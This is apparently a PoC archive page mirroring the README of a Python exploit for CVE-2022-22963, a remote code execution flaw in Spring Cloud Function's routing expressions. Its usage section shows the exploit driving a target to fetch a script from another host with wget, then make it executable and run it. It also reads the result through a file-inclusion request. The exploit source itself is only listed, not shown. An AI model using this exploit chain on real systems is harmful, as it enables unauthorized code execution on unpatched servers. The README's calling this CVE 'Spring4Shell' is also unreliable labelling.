Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2022-22963 PoC — Spring Framework 代码注入漏洞

Source
Associated Vulnerability
Title:Spring Framework 代码注入漏洞 (CVE-2022-22963)
Description:In Spring Cloud Function versions 3.1.6, 3.2.2 and older unsupported versions, when using routing functionality it is possible for a user to provide a specially crafted SpEL as a routing-expression that may result in remote code execution and access to local resources.
Description
CVE-2022-22963 RCE PoC in python
Readme
## CVE-2022-22963: Spring4Shell RCE Exploit

This is a python implemetation of Spring4Shell, CVE-2022-22963, affecting services running Spring Cloud Function <=3.1.6 (for 3.1.x) and <=3.2.2 (for 3.2.x).

### Example Usage:

```bash
# serving test.sh on local webserver
$ cat test.sh                                                               
#!/bin/bash
whoami > /tmp/rce

$ python exploit.py 10.10.10.10:8080 'wget http://10.10.10.60/test.sh -O /tmp/test.sh'
[+] Host is vulnerable
[+] Command executed
[+] Exploit completed

$ python exploit.py 10.10.10.10:8080 'chmod +x /tmp/test.sh'             
[+] Host is vulnerable
[+] Command executed
[+] Exploit completed

$ python exploit.py 10.10.10.10:8080 '/tmp/test.sh' 
[+] Host is vulnerable
[+] Command executed
[+] Exploit completed

# Provided you have LFI, you can see the contents of the file created
$ curl -s http://10.10.10.10:8080/LFI?file=/tmp/rce

user
```
### References:
https://www.fastly.com/blog/spring-has-sprung-breaking-down-cve-2022-22963-and-spring4shell-cve-2022

https://github.com/Pizz33/Spring-Cloud-Function-SpEL
File Snapshot

[4.0K] /data/pocs/cee8b00607c86cb2ce2c925941eaf95b9b62be34 ├── [1.4K] exploit.py ├── [1.0K] LICENSE └── [1.1K] README.md 0 directories, 3 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →